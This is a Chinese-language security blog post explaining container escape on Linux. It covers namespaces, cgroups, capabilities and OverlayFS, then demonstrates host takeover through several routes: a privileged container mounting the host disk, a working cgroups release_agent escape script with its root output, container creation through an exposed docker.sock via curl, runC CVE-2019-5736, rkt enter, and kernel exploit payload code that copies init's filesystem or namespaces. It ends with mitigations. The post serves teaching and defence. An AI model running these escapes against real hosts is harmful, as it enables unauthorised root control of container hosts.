技術分析
RSS

Container Escape 101

9.16.2020D39
Share:

前言

本月來到 D39 與大家分享近期有趣的研究,Lab 團隊雖然不像是科幻電影中的實驗室般,穿著帥氣的白袍與擁有高科技的實驗室,但我們主要專注於最新技術與威脅研究,與惡意程式作者們互相切磋是我們的日常。而 Lab 中的 D39 成員更致力於弱點安全與漏洞挖掘領域,研究範圍包含 Mobile、IOT、Linux、Windows 等有機會連網的系統與裝置都是我們的目標,期許能提升客戶產品安全性,打造優良的上網環境(笑)
這一次由 D39 實習生 Jack,為我們精心整理 Container 相關的弱點攻擊方式,透過清楚易懂的介紹,帶大家了解究竟在駭客眼中的 Container,存在哪些資安問題呢?

正文開始

相信大家對 Docker 都不陌生,無論是想要架設網站、資料庫或郵件伺服器,只要一行 docker run 就能搞定,不用處理可怕的環境問題,但若它存在漏洞或一些錯誤的設定,跑在 Container 內的 Process 就有可能控制主機。
這次與大家介紹 Container Escape 的一些攻擊方法,讓各位在使用 Container 時可以留意相關的安全隱憂,以及了解這些漏洞造成的影響。

Container

在介紹攻擊方法之前,先來了解一下 Container 使用到的技術:
  • Namespaces
  • Cgroups
  • Seccomp
  • Capabilities
  • LSM
  • OverlayFS

Namespaces

Container 好用的地方在於,它能夠建立一個獨立的環境,可以放心地安裝一大堆想嘗試的套件,不怕弄髒自己的環境。要實現這個功能,Namespaces 扮演了一個很重要的角色。
來看看 Linux Programmer's Manual Man page 的描述:
A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource. Changes to the global resource are visible to other processes that are members of the namespace, but are invisible to other processes. One use of namespaces is to implement containers.
這邊的「資源」(resource)指的就像 Mount point 或 PID,Namespaces 可以建立一個獨立的 Mount point 或 PID,讓 Container 僅能存取自己掛載的檔案系統或自己的 Process,與 Host 隔離開來,不會弄亂 Host 的檔案,或存取到 Host 的 Process 資訊。
使用 Namespaces 的方式就是呼叫 unsharesetnsclone 等 System call,類別也不只有 Mount 與 PID,詳細可以看 Man page

Cgroups

Cgroups 透過 cgroupfs 控制 Process 所能使用的記憶體容量或 CPU 資源,讓 Process 不會因為一些 bug 讓整台電腦當機,Docker 可以用 --cpu-shares 來限制各個 Container 能用到的 CPU 資源。詳細請見 Cgroups man page

Seccomp

Seccomp (Secure Computing) 對 CTFer 可能不陌生,用來限制能夠使用的 System call,常見於一些 Shellcode 題。
Container 很常禁用 mount ,因為它是一個方便我們逃離 Container 的 System call,接下來就會說明如何利用 mount 逃出 Container。詳細請見 Seccomp man page

Capabilities

Capabilities 從 Linux Kernel 2.2 開始加入,目的是將權限做更細緻的區隔,以 Container 來說,若直接給它 root 權限是不安全的,這意味著它可以隨意載入 Kernel module 或 mount,讓 Container 有機會存取 Host 資源,因此 Container 內的 root 只有一些基本的 Capabilities,如 CAP_CHOWN、CAP_KILL、CAP_SETUID、CAP_SETGID 等。Ubuntu 使用者可以安裝 libcap2-bin 並使用 getpcaps {pid} 查看該 Process 擁有哪些 Capabilities,詳細請看 man page

LSM (Linux Security Module)

Linux kernel 文件裡寫道:
The primary users of the LSM interface are Mandatory Access Control (MAC) extensions which provide a comprehensive security policy.
如 AppArmor 和 SELinux 都是 Linux Kernel 內建的 Security Module,透過它們專屬的設定檔可以限制 Process 的存取權限,像 Docker 就是使用 AppArmor 限制 procfs 以及 mount,保護 Host 資源。

OverlayFS

許多 Container 使用 OverlayFS 當作它的檔案系統,如它的名字,目的就是要把兩個或多個檔案系統合併,讓它看起來是一個檔案系統。它使用了 upperlower 區分兩種要合併的檔案系統,其中若 upperlower 有相同檔案時,會以 upper 為主。我們用 Container 來解釋,Docker 把 upper 當作 Container layer、lower 當作 Image layer,我們在 docker build 的時候會產生 Image,利用這些 Image 我們可以很快地產出 Container,在 Image 內的檔案如 Ubuntu 預設的系統檔案就會被放在 Image layer,在 Container runtime 產生的檔案,例如 Log 檔會被放在 Container layer,這麼一來建立多個 Container 時可以讓它們的 Image layer 都是同一個,省下許多空間。
來實驗一下,首先開兩個 Container:
$ docker run --name t1 -it ubuntu
[email protected]:/#
$ docker run --name t2 -it ubuntu
[email protected]:/#
檢查它們的 LowerDir:
$ docker inspect t1 | grep Lower
                "LowerDir": ...:/var/lib/docker/overlay2/07a2cbd7...dbdf/diff:...,
$ docker inspect t2 | grep Lower
                "LowerDir": ...:/var/lib/docker/overlay2/07a2cbd7...dbdf/diff:...,
仔細一看,列出來的路徑幾乎是一樣的,接下來看看裡面有什麼:
$ sudo ls -alF /var/lib/docker/overlay2/07a2cbd7...dbdf/diff
total 24
drwxr-xr-x 6 root root 4096 Nov 13  2019 ./
drwx------ 4 root root 4096 Nov 13  2019 ../
drwxr-xr-x 4 root root 4096 Nov  1  2019 etc/
drwxr-xr-x 2 root root 4096 Nov  1  2019 sbin/
drwxr-xr-x 3 root root 4096 Oct 30  2019 usr/
drwxr-xr-x 3 root root 4096 Oct 30  2019 var/
是很常見的系統資料夾!也就是 Image layer,接下來看 Container layer:
[email protected]:/# echo 'hello, host' > /hello
先在 Container 內創立一個檔案:
$ docker inspect e937 | grep Upper
                "UpperDir": "/var/lib/docker/overlay2/657597a...a966/diff",
$ sudo cat /var/lib/docker/overlay2/657597a...a966/diff/hello
hello, host
然後用 docker inspect 找到 UpperDir,就會看到我們建立的 hello 檔案了!

Container Escape

來試想一個情境,有一台主機遵守 Microservices 的精神,使用 Docker 分別架設了網站、資料庫與郵件伺服器這三個 Container,假設郵件伺服器存在漏洞被駭客入侵,也不會直接影響到網站和資料庫,維護的工程師也能很快的用 Docker 換成新版本來進行即時修補。但如果 Container 存在漏洞時,所有的服務都有可能陷入風險。

Privileged Container

我們先從比較容易 Escape 的 Privileged Container 開始,Privileged Container 沒有 Seccomp 限制且 Capability 全開,讓 Container 可以存取所有硬體設備,為的就是讓這個 Container 有獨立的環境且能做 Host 能做的事。Docker 建立 Privileged container 的方法很簡單,只要在 dokcer run 時多加個 --privileged flag 即可。
docker run --privileged -it ubuntu
另外還有一個很棒的功能,用 Docker 跑 Docker。聽起來很奇怪但很合理,如果去看 Docker 的開發文件,會發現 Docker 是用 Docker 開發的。
一般來說開發用的 Privileged container 駭客碰不到,但如果是用 Docker 架設 CI/CD 工具,然後使用這些工具的 Docker 功能呢?歡迎參考這篇的 "How Can You Use Jenkins & Docker Together"。
沒錯,你需要一個 Privileged container 來運行 CI/CD 工具!接下來先以 Privileged container 為例,說明在我們打下有漏洞的 CI/CD 工具且有 root 權限後,要怎麼控制 Host。

Mount root

第一個要介紹的是這個一直被針對的 mount ,在 Privileged container 裡是可以直接使用的,來看看如何透過它存取 Host 檔案。
首先先取得 Block device 的 Major 與 Minor:
[email protected]:/test# ls -alF /sys/dev/block/ | grep sda1
lrwxrwxrwx 1 root root 0 Aug 12 06:50 8:1 -> ../../devices/pci0000:00/0000:00:01.1/ata1/host0/target0:0:0/0:0:0:0/block/sda/sda1/
sda1 是 Host 的根目錄(不同的電腦可能不一樣,對駭客來說可以全部都試試看)。接下來用 mknod 產 Block special file 然後 mount,就會把 Host 的根目錄放在 Container 內了(若 /dev/sda1 不存在才需要使用 mknod)。
Docker:
[email protected]:/test# mknod /dev/myroot b 8 1
[email protected]:/test# mkdir rootfs; mount /dev/myroot rootfs
[email protected]:/test# echo hello, host! > rootfs/hello
Host:
[email protected]:/# cat /hello
hello, host!

Cgroups v1 release notification

只能存取 root 資料夾還不夠!我們的目標是能在 Host 上做任何事且不受 Container 影響。接下來要介紹的是 Felix Wilhelm 在 Twitter 上寫的
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature.
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
直接用 Docker 跑跑看:
$ docker run --privileged -it ubuntu
[email protected]:/test# cat > exp.sh
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
[email protected]:/test# chmod +x ./exp.sh
[email protected]:/test# ./exp.sh ps
  PID TTY          TIME CMD
    1 ?        00:01:31 systemd
    2 ?        00:00:00 kthreadd
    3 ?        00:00:00 rcu_gp
    4 ?        00:00:00 rcu_par_gp
    6 ?        00:00:00 kworker/0:0H-kb
    9 ?        00:00:00 mm_percpu_wq
   10 ?        00:00:15 ksoftirqd/0
   11 ?        00:09:23 rcu_sched
   12 ?        00:00:02 migration/0
   13 ?        00:00:00 idle_inject/0
   14 ?        00:00:00 cpuhp/0
   15 ?        00:00:00 cpuhp/1
   16 ?        00:00:00 idle_inject/1
   17 ?        00:00:03 migration/1
   18 ?        00:00:05 ksoftirqd/1
   20 ?        00:00:00 kworker/1:0H-ev
   ...
[email protected]:/test# ./exp.sh id
uid=0(root) gid=0(root) groups=0(root)
太棒了!可以在 Container 外執行任意指令且是 root 權限。接下來分析它怎麼做到的:
[email protected]:/test# d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
[email protected]:/test# echo $d
/sys/fs/cgroup/rdma
d 變數的目的是取得 Cgroups 底下有 release_agent 檔案的路徑,release_agent 的描述可參考 Man page
A special file in the root directory of each cgroup hierarchy, release_agent, can be used to register the pathname of a program that may be invoked when a cgroup in the hierarchy becomes empty.
變為空的意思:
A cgroup is considered to be empty when it contains no child cgroups and no member processes.
release_agent 一般用來讓使用者自訂腳本,清理新建的 Cgroups 讓 cgroupfs 保持乾淨,而它會在 Host 以 root 權限執行,所以只要能控制 release_agent,我們就可以在 Container 外執行任意指令。
在 Cgroups 資料夾底下創立一個 w 資料夾,會讓 Cgroups 創立一個新的群組,然後啟用這個群組的 notify_on_release
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t 變數是找出 Host 可以直接看到 Container 檔案的路徑,也就是 OverlayFS 的 UpperDir (Container layer) ,以便 release_agent 能夠呼叫 Container 內的惡意腳本:
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
最後一步把 release_agent 指到我們能控制的惡意腳本,然後利用 echo 0 > $d/w/cgroup.procsecho 加入 w 這個 Cgroups,待 echo 結束後就會觸發 notify_on_release 然後呼叫 release_agent
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
可以發現我們主要用到的功能是 Cgroups 以及 mount,因此這個利用方式有個修訂版本,只要使用 docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash 就可以利用較少的權限 Escape,詳細可以看這篇文章

Exposed docker.sock

用 Docker 跑 Docker 的方式還有這個:
docker run -v /var/run/docker.sock:/var/run/docker.sock
dockerd 開啟後預設會在 /var/run/docker.sock 聽取命令,等待使用者送出 Docker 指令後,docker-cli 會把指令轉成一定的格式跟 docker.sock 溝通,所以把這個檔案映射到 Container 內,等同於讓這個 Container 能夠用 Host 的名義建立 Container。
我們可以簡單的使用 curl 控制 docker.sock
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"ubuntu", "Privileged":true}' -H 'Content-Type: application/json' http://localhost/containers/create
{"Id":"8e89909670942daa92999f337fb325b4a89f6a2dd2f5fcf9e972ca089c5b751a","Warnings":[]}
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8e89909670942daa92999f337fb325b4a89f6a2dd2f5fcf9e972ca089c5b751a/start
只要對 docker.sock 發送請求就能創立一個 Container!可以用上面的方法開啟一個 Privileged container,再利用前面的手法拿到 Host 控制權!

Container Engine bug

不過一般的服務如郵件伺服器,它不需要用 Docker 跑 Docker 的功能,也就不會以 --privileged 的方式運行,所以就算利用漏洞拿到 Container 的 root 權限,也不能用 mountdocker.sock 的方式 Escape,但如果 Container Engine 本身有漏洞,就有機會利用它控制 Host。

runC CVE-2019-5736

第一個要介紹的是 runC (run container),它是一個根據 OCI 規範用來運行 Container 的程式,被許多 Container engine 呼叫,例如:Docker、Kubernets、LXC 等,因此這個漏洞影響範圍相當大(詳細受影響清單)。而攻擊條件是駭客在 Container 內有 root 權限,或 Container Engine 執行了惡意的 Container。
它的漏洞原因在於,新的 Process 若是 /proc/self/exe,就能利用殘留的 File descriptor 改寫 runC 這隻程式,等到下次有人使用 Docker 時就會執行被改寫的 runC,而 Docker 是用 root 權限運行的,因此就獲得了 root 的任意命令執行!
先來看 Process 在正常狀況下是如何被放進 Container。在執行 docker exec 的時候 runC 會把自己放進 Container 的 Namespace 然後再 execve("binary")
Blog_9-6
但 Process 若指定成 /proc/self/exe 就會指回 runC 本身:
Blog_9-7
有趣的事情發生了!runC 執行 execve("/proc/self/exe"),也就是再跑了一次 runC,但用的 Library 是 Container 內的 Library,所以我們可以改寫 Container 內的 libclibseccomp 之類的 runC 會用到的 Dynamic library,執行任意的程式碼!
Blog_9-8
有任意程式碼執行後重複開啟 /proc/self/exe,就能存取 Host 的 runC 程式,但在 Linux 裡執行中的程式是不能被修改的,所以先用 openO_PATH 模式留下 File descriptor,但不開啟檔案然後 fork 讓子程序對 runC 寫入惡意指令,接下來只要等待下一次的 docker exec 就會觸發惡意指令!
Blog_9-9
這個漏洞是 CTF 隊伍 Dragon Sector 打完比賽後獲得靈感而研究出來的漏洞,詳細的挖掘過程在他們的部落格,以及他們的 Exploit Code

rkt CVE-2019-10144/CVE-2019-10145/CVE-2019-10147

rkt 也是一個 Container engine,但已經沒有在維護了,所以這三個 CVE 到現在還是可以利用,不過利用條件較為嚴苛,駭客需要控制由 rkt enter 開啟的 Process 才能 Escape(一般狀況下會以 rkt run 的方式開啟)。
rkt enter 就像是 docker exec,可以在指定的 Container 內執行程式,但使用 rkt enter 執行的程式擁有所有的 Capabilities ,沒有 Seccomp 限制也沒有隔離 Cgroups。就像個 Privileged Container!
所以使用 getpcaps $$ 看到所有 Capabilities 的話,恭喜你,你處在一個可以 Container Escape 的環境內!
來看看利用方法,首先下載最新版的 rkt:
wget https://github.com/rkt/rkt/releases/download/v1.30.0/rkt-v1.30.0.tar.gz
tar xzvf rkt-v1.30.0.tar.gz
cd rkt-v1.30.0
./rkt help
getpcaps 檢查看看:
$ sudo ./rkt --insecure-options=image --interactive=true  run docker://libpcap/libpcap
[email protected]:/# getpcaps $$
Capabilities for `6': = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
$ sudo ./rkt enter 9354 /bin/bash
[email protected]:/# getpcaps $$
Capabilities for `14': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_rfaw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+ep
使用 rkt enter 開啟的 bashcap_sys_admin,可以試著用之前說到的 mount 方法存取 Host 的檔案!
但這裡會遇到一些問題,mknod 出來的 Block special file 放的位置會影響能不能 mount,所以這邊用一個改良的做法:
# mkdir mydev
# mkdir rootfs
# mount -t devtmpfs none mydev
# mount mydev/sda1 rootfs
直接 mount 一個型態為 devtmpfs 的資料夾, Linux kernel 就會自動把所有的 Device file 準備好,我們只要 mount mydev/sda1 就能存取 Host 的根目錄!

Linux kernel exploit

前面講到的 Privileged container 以及 Container Engine bug 需要在 Container 內有 root 權限,但並不是每個服務都是以 root 權限運行,例如 HTTP server 通常會以較低權限的使用者如 www-data 身份執行,聰明的你一定注意到了,利用 Linux kernel exploit 獲得 root 權限然後再 Escape!
其實,有 Linux kernel exploit 的話可以直接 Escape!Container 用到的 Namespaces、Cgroups 等都是由 Linux kernel 提供的功能,所以如果在 Kernel space 內改寫相關結構,再跳回 User space,就能控制 Host,而且也不需要 Container 的漏洞!
讓我們看看 Linux kernel 內管理 Process 的結構 task_struct
struct task_struct {
    /* ... */
    /*
     * Pointers to the (original) parent process, youngest child, younger sibling,
     * older sibling, respectively.  (p->father can be replaced with
     * p->real_parent->pid)
     */
    
    /* Real parent process: */
    struct task_struct __rcu    *real_parent;
    
    /* Recipient of SIGCHLD, wait4() reports: */
    struct task_struct __rcu    *parent;
    /* ... */
    /* Filesystem information: */
    struct fs_struct        *fs;
    /* ... */
}
裡面有一個 fs_struct,再往裡面看看:
struct fs_struct {
    int users;
    spinlock_t lock;
    seqcount_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;
task_struct->fs 存放著這個 Process 的 root 以及工作目錄,而我們能夠用 task_struct->real_parent 取得 Parent process 的 task_struct,所以我們可以不斷的往上找,直到找到 PID = 1,也就是位於 Host 的 Init process,然後把它的 fs_struct 複製給自己,就可以存取 Host 的根目錄了!
Blog_9-12
這個 Exploit 取自 Nick Freeman 的文章 An Exercise in Practical Container Escapology,他修改了由 Andrey Konovalov 寫的 Linux Kernel exploit,讓它可以 Escape container:
typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task);

uint64_t get_task(void) {
    uint64_t task;
    asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));
    return task;
}

void get_root(void) {

    int i;
    char *task;
    char *init;
    uint32_t pid = 0;


    ((_commit_creds)(COMMIT_CREDS))(
        ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));


    task = (char *)get_task();
    init = task;
    while (pid != 1) {
        init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
        pid = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

  
    *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET));
}
每個 Linux kernel exploit 都會有一行:
    ((_commit_creds)(COMMIT_CREDS))(
        ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
用途是建立擁有所有權限的 Credentials 並使用它,也就是讓這個 Process 變成 root 權限。而這個 Exploit 就是在它之後加上:
    task = (char *)get_task();
    init = task;
    while (pid != 1) {
        init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
        pid = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

  
    *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET));
while 迴圈找到 Init process,然後呼叫 copy_fs_structfs_struct 複製回來,就能看到 Host 的根目錄。
但還沒結束!我們實際上還沒繞過 Namespaces 的限制,如果使用 kill 是會失敗的:
[email protected]:/$ ./poc
[^] starting
[=] running KASLR defeat exploit (CVE-2017-18344)
[0] enumerating divide_error() location (CVE-2017-18344)
[>] setting up proc reader
...
[+] done, should be root now
[6] checking if we got root
[+] got r00t ^_^
[email protected]:/# ps aux | grep cat
user     22522  0.0  0.0   7444   680 pts/1    S+   17:34   0:00 cat
root     22547  0.0  0.0  11288   924 pts/3    S+   17:35   0:00 grep --color=auto cat
[email protected]:/# kill 22522
bash: kill: (22522) - No such process
但也足夠了,可以用 Docker 執行 Privileged container 再 Escape。或是 Nick Freeman 提供的作法:
  • Write or overwrite host or other container files (including kubelet configs)
  • Interact with Docker (perhaps pull and launch a new fun privileged container)
  • Inject code or harvest data from processes (host or container) via /proc/pid/mem
  • Load/ unload kernel modules

這麼一來就可以不用花費力氣在換 Namespaces 上,但也有一篇文章提到更換 Namespaces 的方法 The Route to Root: Container Escape Using Kernel Exploitation
void get_root_payload( void) {

        ((_commit_creds)(COMMIT_CREDS))(
                ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
        );

        // -------- NAMESPACE DOCKER EXPLOIT  --------
        // copy nsproxy from init_nsproxy to pid 1 of the container
        unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);

        // now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
        ((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);

        // prepare the two namespace FDs by opening the respective files
        long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
        ((_sys_setns)(SYS_SETNS))( fd, 0);

        fd      = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
        ((_sys_setns)(SYS_SETNS))( fd, 0);
}
這篇的作法是開啟 /proc/1/ns/ 資料夾下的檔案,也就是 Namesapces 提供的各個部件(這邊選擇 mntpid),然後呼叫 setns 把自己的 Namespaces 設定成跟 Host 一樣,這樣就不用額外的步驟,可以直接存取 Host!

Mitigation

上述說到的 Privileged container 是最容易 Escape 的 Container ,若一定得使用它開服務的話,要把它當作 Host 的服務看待,做好權限管理,只要駭客沒有足夠的權限( root ),就不能使用 mount 的方式存取 Host 資源,大幅降低它所造成的危害。Docker 可以用 docker run -u {uid}:{gid},以較低的使用者權限開啟 Container,然後把要開啟的服務放在一般使用者可用的 port >= 1024 上,這麼一來就算駭客打下服務,也沒有足夠的權限使用 mount 做進一步的攻擊:
# docker run --privileged -it -u 1000 python bash
I have no [email protected]:/$ python -m http.server 8080 &
[1] 7
I have no [email protected]:/$ Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

I have no [email protected]:/$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
1000         1  0.1  0.0   5748  3632 pts/0    Ss   02:51   0:00 bash
1000         7  4.0  0.1  25996 18840 pts/0    S    02:51   0:00 python -m http.server 8080
1000         8  0.0  0.0   9388  3100 pts/0    R+   02:51   0:00 ps aux
I have no [email protected]:/$ mkdir /tmp/t1; mkdir /tmp/t2; mount --bind /tmp/t1 /tmp/t2
mount: only root can use "--bind" option
也可以善用 setuid,切換到權限較低的使用者。剩下的就是定期更新、檢查使用的產品是否出現漏洞,以及避免使用不再維護的產品。

Container security is Linux security

Container 仰賴 Linux kernel 提供的機制,隔離出一塊空間供 Container 使用,所以當這些機制出現問題或開發者設計時沒有考慮周全,原以為安全的 Container 就有可能被駭客利用,造成更大的危害。今天分別介紹 Privileged Container、Container Engine bug 以及 Linux kernel exploit 這三種攻擊情境,都是利用 Linux 本身的特性達到存取 Host 資源的效果。希望你們會喜歡,也祝各位都能成功 Escape!

References


*圖片來源:Pixabay
9.16.2020D39
Share:

Related Post

Technical Analysis
2.17.2021

A Deep Dive into PowerShell's Constrained Language Mode

PowerShell, Constrained Language Mode, cyber threat intelligence, threat hunting